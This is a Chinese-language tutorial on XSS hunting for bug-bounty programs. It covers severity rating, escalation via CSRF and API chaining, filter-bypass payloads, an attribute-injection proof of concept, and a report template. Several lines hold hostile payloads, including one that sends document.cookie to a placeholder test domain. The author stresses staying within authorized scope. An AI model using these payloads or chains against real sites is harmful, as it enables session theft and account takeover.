做SRC漏洞挖掘时间长了你会发现一个奇怪现象同样是XSS有人只能报个低危换几十块积分有人却能拿到高危甚至严重直接拉满奖金。这里面的差距不在运气而在两件事一是你能不能把“弹个窗”升级成“能拿账号、能改数据、能批量影响用户”的实际危害二是你能不能把这种危害清晰、量化地写进报告里。这篇文章不准备讲什么是XSS的基本概念直接聊我实际挖洞和提交SRC的经验重点拆解XSS评级逻辑、从低危到高分的利用思路、完整的实操记录以及提交报告时那些能帮你加分和最终被忽略的细节。这套方法适合正在做SRC众测的初级/进阶白帽也适合刚入门漏洞挖掘、想在SRC平台拿到第一个有效漏洞的朋友。我会尽量说人话把关键“为什么”讲透避免那种“照着payload抄但不明所以”的状态。1. 为什么XSS总被低估先搞清楚漏洞评级逻辑1.1 SRC平台通用的定级标准很多新手拿到一个alert(1)兴冲冲就去提交结果平台要么忽略要么回一个“低危”。为什么会这样因为你没有从平台的角度看问题SRC平台评级的核心是“对业务的实际风险”不是“有没有弹窗”。不同SRC的规则略有差别但大致逃不出这个框架漏洞等级典型定义XSS常见的对应情况严重直接控制核心服务器、批量拖取核心数据、直接影响资金存储型XSS打到后台且可进一步RCE现实里极难但有人做到过高危可直接获取大量用户敏感信息、批量篡改数据、可以接管管理员会话存储型XSS作用于核心业务后台、盲打XSS命中管理员、可读取用户token的XSS中危有限范围内泄露信息、可对普通用户造成非批量影响存储型XSS作用于普通用户、配合CSRF可修改账号信息低危影响很小利用条件苛刻反射型XSS、只影响自身的自XSS、非核心域名的XSS这张表是简化的但方向是对的。任何一个XSS标完等级之后你第一反应应该是这个XSS落在表格里的哪一行如果落在低危那就要想清楚怎么把它向右上角推。1.2 决定XSS分值的四个关键因素做SRC这几年我总结出影响XSS分值的因素优先级从高到低第一资产重要性。同样一个反射型XSS出现在主站首页和出现在一个无人访问的二级域名活动页分值可能差两档。核心域名背后的业务量大一个XSS可能影响几百万用户平台一定往重了定。所以挖掘时花点时间在资产归属上别在一个五级域名的小工具页面上纠结。第二漏洞类型。反射型默认低危存储型默认中危起步DOM型要看能不能打通source到sink的完整链路。这不绝对但大体如此。为什么存储型天然高因为受害者不需要点击链接只要访问了那个页面就会触发传播性强得多。第三触发条件是否苛刻。如果你的payload需要在用户多步操作、高版本Chrome、关闭XSS防护、登录特定账号之后才触发那平台会认为“可利用性差”直接降级。反过来普通用户打开即触发分值就高。第四是否构成可利用链。如果XSS只是弹个窗那确实低危。但如果你能证明它配合CSRF可以改密码、配合接口越权可以读取他人订单、配合postMessage可以窃取localStorage里的token那性质完全变了。这是“高分XSS”的核心思维单独看是调味剂放进利用链就是主菜。2. 从低危到高分的进阶思路关键场景与利用手法2.1 反射型XSS怎么把它“往上抬”反射型XSS最常见的低危原因是“受害人得点链接”。但这不代表没救。我常用的三条路第一种找登录前/核心动作前的位置。比如登录接口的错误提示、找回密码页的邮件地址回显。如果payload在登录页执行攻击者可以结合钓鱼页面诱导用户输入账号密码同时XSS把表单内容实时发出去。这种场景下alert(1)也会被高看因为风险直接从“页面弹窗”变成了“账号密码窃取”。第二种尝试把反射点变成“准存储”。很多平台会把用户触发过的搜索词记录到后台报表、运营日志、排行榜页面如果后端在拼接时没有转义你提交的payload会被“存储”到另一个页面。一旦有人打开运营后台看到那个报表payload直接触发反射型就变相升级成了存储型。这个思路特别好用但前提是先摸清目标有没有这类数据沉淀功能。第三种配合“点击劫持”或者“即时通讯分享链接”。某些IM或者浏览器内置的页面预览会抓取URL参数当你的payload被拼到预览标题或描述里目标在聊天软件里打开预览就被触发这种“非传统浏览器页面”的传播场景会让平台重新评估风险。不过要谨慎因为很多SRC不把这类视为漏洞提交前最好先看一眼规则。2.2 存储型XSS的加分逻辑目标管理员与批量影响存储型XSS本身不低但如果你的存储点是在普通用户个人主页且只有信息发布者自己看到那它其实和自XSS差不多平台可能不收。要想提到高危关键就一句话让它打到管理员或者让它能批量影响其他用户。先说打管理员。我最喜欢的场景是“意见反馈”、“工单系统”、“客服会话记录”。这里用户提交的内容会被后台的管理员阅读如果后台读取时存在XSS就形成了盲打。盲打XSS的payload不能只弹窗要写成一个能向后端管理页面发送AJAX请求的完整脚本比如读取后台页面的标题、DOM内容、甚至请求一些内部接口。不过要非常注意盲打可能会真的拿到管理员cookie带出去的数据涉及敏感信息在SRC过程中一定要严格控制只做验证不要尝试登录后台或扩大控制。我把这类测试严谨限制在本地写的“验证脚本”只返回一串随机token证明触发而不是真正窃取数据。再说批量影响。典型例子一个用户修改昵称后所有访问他主页的用户都会触发XSS或者评论区的payload其他用户一打开该页面就被执行。这种“一个触发点、所有访客中招”的情况在评级时很容易达到高危。如果再进一步payload中写一个自动发评论的逻辑触发者会继续向其他人的会话发消息形成蠕虫效应那严重等级跑不掉。但这里必须强调蠕虫payload在真实平台上绝对不要实际运行提交报告时描述逻辑即可真正的验证放在自己搭的靶场里做。2.3 DOM XSS别忽略现代前端的主战场现在很多业务是前后端分离传统的服务端输出型XSS少了DOM型却大量出现。不少人挖DOM型XSS喜欢死盯location.hash其实真正的突破口往往在document.referrer、window.name、postMessage、window.open的URL参数、localStorage读出的值再进sink。我习惯的做法是打开目标的前端资源在Source面板里搜索这些关键字sinkinnerHTML、document.write、eval、Function、setTimeout、setInterval、insertAdjacentHTML。找到之后再往上回溯它的source在哪。比如一个使用Vue/React的站可能在某个组件里写了v-html而内容来自路由参数。这种链路如果通就是非常干净的DOM XSS。举个例子之前某个站点有个“分享给朋友”功能window.open(/share?url url, _blank)新页面里直接从window.location取url参数然后塞到document.getElementById(preview).innerHTML里。我试着传了一个img srcx onerrordocument.location//测试域名/document.cookie结果Chrome下虽然url参数有编码但后端没有校验前端又直接解码显示了。这类问题的隐蔽性在于浏览器地址栏长得乱七八糟很多扫描器扫不到但人肉一看一个准。2.4 XSS CSRF/越权的组合拳我在提交XSS时有个习惯每次发现XSS立刻问自己三个问题“这个页面上有没有当前用户的token”“有没有能修改账号信息的接口改邮箱、改手机、改密码”“有没有可以读取列表/详情的API订单、消息、个人资料”三个问题里有两个是肯定的那这个XSS就能打出高价值利用链。最经典的组合是XSS CSRF。比如用户信息页有一个“绑定邮箱”的功能绑定时没有校验当前密码只依赖Referer或一个固定token。XSS触发后自动带着用户的身份向绑定接口发起请求把邮箱改成攻击者的地址。这之后通过“忘记密码”功能就能接管账号。整个链路里XSS的作用是“绕过浏览器同源策略”把攻击者的意图变成受害者的操作。这种利用链报告写出来平台不可能给你低危。另一个常见的组合是XSS 越权读取。有些前后端分离的站点接口授权完全依赖登录后的token或cookie前端会调用一个/api/user/order/list加载订单。XSS触发后直接用fetch请求这些API把返回的JSON发到测试服务器。如果接口本身没有做额外的CSRF防护这个XSS就成了一个“数据读取器”单次触发就能拖走用户当前页面的所有敏感信息。2.5 绕过常见的过滤器几种有效但克制的思路国内很多业务喜欢用黑名单过滤。常见的是过滤尖括号、过滤on事件、过滤javascript:、过滤alert等关键词。在这个环境下构造绕过payload是基本功但记住绕过是在SRC授权范围内的目标上做测试不是在公网未知站点上搞破坏。测试时要控制并发和频率尊重目标服务的稳定性。我常用的几类绕过标签被过滤如果script被滤转用svg/onload、img srcx onerror再不行用details open ontoggle、videosource onerror。alert被过滤用confirm(1)、prompt(1)、top[al ert]或者(alert)(1)甚至用[].constructor.constructor这种间接方式。属性被过滤或转义如果双引号被过滤尝试把payload放在单引号环境如果尖括号被编码成lt;先看看有没有二次解码的场景比如URL编码加HTML实体双重编码。关键字正则匹配有时过滤是简单的正则比如(?i)on\w,可以用oN大小写混写或者在事件和等号之间插注释符、换行符、制表符。经验说与其记一堆payload库不如理解浏览器解析顺序。HTML解析器先解码实体再解析标签属性JS解析器识别注释和字符串当过滤器和解析器对同一段输入理解不同时就有了绕过空间。这块建议去靶场DVWA、PortSwigger、CTFHub里反复练练的不是“背payload”而是“看上下文说话”。3. 实操过程一次典型XSS挖掘与提报的完整记录3.1 目标信息收集与注入点发现拿我有次在一个授权SRC项目里的完整过程举例。目标是一个小企业SaaS系统攻击面包括用户前台、管理后台、支付、消息、反馈。我用的是最笨也最有效的方式以“用户身份”把所有写入点都过一遍记录每个写入点的回显位置。重点测试的写入点列表用户昵称、头像、个人签名工单标题、工单内容、工单回复评论与留言板搜索框看是否回显到搜索页或结果页地址簿收货人姓名、详细地址、邮编发票信息发票抬头、税号这次突破口在“工单回复”。用户提交工单时系统会把问题标题和第一次描述生成一个回显在“我的工单详情页”而客服回复之后用户能看到“客服XX给您回复了内容”。我在工单标题里输入了svg/onloadalert(document.domain)第一轮测试没反应页面正常显示了这段字说明做了实体编码。但我注意到回显位置在一个奇怪的属性里页面源码里有一行input typehidden idticket_title valuesvg/onloadalert(document.domain)尖括号被转义成了lt;和gt;但单引号和双引号是正常的。这就意味着如果我能绕过后端的标签过滤或许能在属性上下文里做文章。3.2 构造POC的过程接下来是正常流程。既然value属性外层是双引号那我优先考虑闭合双引号以后再注入新属性。因为尖括号被转义了没法引入新的HTML标签所以我转向两个方向如果后端允许双引号直接出现在值里尝试闭合属性后增加事件比如 autofocus onfocusalert(1) x。但这里外层input的value属性后面还有如果属性值能正常闭合就能注入autofocus onfocus...。如果后端过滤了on开头的事件就看看有没有其他属性能够被利用。我接着输入 autofocus onfocusalert(document.domain) x结果提交后页面源码变成了input typehidden idticket_title value autofocus onfocusalert(document.domain) x虽然svg标签被实体编码了但我在属性上下文里直接注入了一个新事件属性浏览器渲染时input一旦获得焦点就会执行alert(document.domain)。而因为autofocus的存在页面一加载这个input自动获得焦点事件自动触发。这个POC不需要点击打开即触发已经比普通的点击型反射XSS强不少。不过到这里它只是个“半存储型”工单标题在用户自己页面触发属于self-XSS。普通用户看自己的工单当然是自己的会话。所以我要继续放大去“客服后台”验证是否触发。因为该工单是提交给客服的客服在后台处理工单时标题很可能也会被渲染到某个管理页面。我用两个测试账号一个提交工单一个扮演客服结果打开后台工单列表时同样的payload在客服的浏览器里弹了域名。到这一步它已经从自XSS升级成了盲打存储型XSS影响对象是客服和管理员。3.3 危害放大从弹窗到“能拿会话”我的验证没有停在弹窗。因为目标后台的客服会话很重要我构造了一个更完整的POC只在测试账号中短暂使用触发时向当前页面的接口发起请求读取当前用户的资料信息并把这个信息和一段随机token发到我自己搭建的请求接收服务器。这一步是为了证明“XSS能读取并外带数据”。不过这里有个原则必须讲清楚外带的数据必须是测试数据绝不能是真实用户数据。我用的工单标题内容是test-xss-probe-2025触发后就发一个OK信号过去以及页面标题/URL。不碰任何cookie和其他接口数据。报告里描述的是“可读取并外带”而不是真的把数据拿回来这是合规边界。实际上如果该站点的会话cookie没有设置HttpOnly我还可以通过document.cookie读取会话标识。但我这次遇到的情况是cookie标了HttpOnly所以在报告中说明了“虽然cookie受HttpOnly保护但页面中的本地存储token和后续接口返回的用户信息仍可被读取”。这也是一个容易被新手忽略的判断没有HttpOnly就直接证明可窃取会话有HttpOnly可以去证明能读取其他敏感数据或调用用户身份接口危害照样在。3.4 写一份能拿高分的漏洞报告报告结构我基本固定也建议你直接用这个模板报告项填写要点漏洞名称存储型XSS - 工单标题在客服后台执行可读取后台用户会话信息漏洞等级高危建议漏洞地址提交工单的URL、后台列表页URL截图里IP/域名打码漏洞参数ticket_title触发流程1. 登录普通账号 2. 创建工单标题填入payload 3. 客服账号访问工单列表 4. 触发执行POC展示只放payload源码和弹窗截图不放真实数据的截图影响描述攻击者可在客服/管理员访问工单后台时执行任意JS可能造成后台会话劫持、敏感信息泄露若结合后台其他接口可进一步执行操作修复建议后台所有用户可控字段使用上下文相关编码禁止在属性中拼接未过滤输入为管理后台Cookie增加HttpOnly与Secure启用严格CSP。写报告时几个细节能明显提升通过率不要只写“可弹窗”。一定要写“造成了什么风险”哪怕只是理论风险。要写复现条件。比如是否要求登录、哪个浏览器版本、是否需要特定点击动作。要对敏感信息脱敏。截图里的真实token、手机号、邮箱、域名主体部分都要打码既合规也体现职业素养。修复建议要具体。不要写空话“加强输入过滤”要写清楚“在HTML、属性、JS、CSS四种上下文中分别做编码”这样平台审核人员会认为你技术扎实。4. 常见问题与排查技巧实录4.1 常见问题速查表我和不少朋友交流时汇总过一些典型问题直接列成速查表问题现象可能原因排查方向本地测试能弹目标不弹后端做了上下文编码或存在CSP用浏览器开发者工具看最终渲染后的DOM确认插入点上下文payload里alert被拦截过滤了alert关键字换confirm/prompt或拆分字符串或直接弹domain反射点出现了但总是被转义使用了htmlspecialchars尝试属性注入、JS字符串闭合而不是强行构造新标签DOM XSS的payload没反应sink函数没有真正执行HTML打开console看有没有报错确认注入点是否在innerHTML/eval中提交后被判忽略平台不认可危害报告只写了弹窗没有业务影响结合业务找到“能干嘛”比如能读接口、能改信息自己向目标发送大量payload后IP被拦自动化扫描或高频测试触发风控改为手动少量测试降低频率用代理池但要注意合规4.2 独家避坑经验踩过不少坑之后我沉淀下来几条特别想分享的。第一不要在真实业务页面里放会无限循环或弹窗的payload。我记得有一次测试评论区放了个alert(1)结果忘了这个评论是公开的连续弹了好几位同事的浏览器给企业造成了不必要的麻烦。现在只要是真实环境我只用无害的外部触发信号比如加载一个不存在的图片img srchttps://测试服务器/flag,然后在接收端看到请求记录就够。对这就证明了执行又不会干扰任何人。第二不要迷信扫描器。市面上很多XSS扫描器对DOM型基本无效对需要用户交互的存储型也无能为力。人工看一遍所有用户可控对象的回显位置比盲扫一百遍都强。尤其是文件名字回显、错误日志、Referer字段、导出报表这几类位置扫描器一般不会深入。第三CSRF token不是万能防线。很多站点的“操作敏感接口”虽然有CSRF token但token存在前端页面的一个全局变量或localStorage里XSS一旦执行直接读取这个token再携带请求CSRF防护等于没有。所以报告中“可绕过CSRF防护”这个描述会让平台对XSS的评级直接上调一档。第四多浏览器测试。同一个payload在Chrome和Firefox下的解析结果会有差异有些payload只在Firefox下触发。目标用户群体如果偏C端Chrome占比高如果是政企内部系统老IE或Edge内核也要覆盖。提交时写明在哪个浏览器版本触发不要笼统写“可触发”。4.3 提升XSS漏洞发现率的日常习惯我发现保持手感比临时突击重要得多。平时可以拿开源的靶场做专项训练比如用DVWA里的XSS模块练DOM型和存储型用PortSwigger的XSS关卡练各种上下文绕过用CTFHub的XSS题练真实场景分析。练习的时候给自己定个要求每个题至少理解两层——为什么能打为什么这样写就绕过不要背payload。每次挖洞前我会在本地维护一个“上下文测试清单”大概是这样的顺序纯HTML上下文直接尝试scriptimg onerror。标签属性上下文看能不能闭合引号注入新属性。JS字符串上下文看能不能闭合单引号/双引号执行alert。JS模板字符串上下文看能不能闭合${}。URL上下文看能不能注入javascript:伪协议。CSS上下文看能不能通过url()或expression()旧浏览器。把这套清单过完基本能找到绝大多数XSS点。如果你希望快速提交一个有效漏洞千万别小看XSS核心域名上的存储型XSS、盲打XSS、和能结合越权的XSS在SRC平台上的表现都很好。关键在于你有没有那个意识去把它做成完整的故事。最后再说一个个人体会真正把XSS做到高分的往往不是写payload写得最花哨的人而是能把“这个XSS到底能影响什么”讲清楚的人。我额外习惯是在报告里加一段“攻击场景模拟”用一段话描述攻击者如何诱导一个正常用户点击链接、触发payload、再到最终账号被锁定的过程。这种叙述比贴三张截图有用得多。下次挖掘时不妨试试这个思路。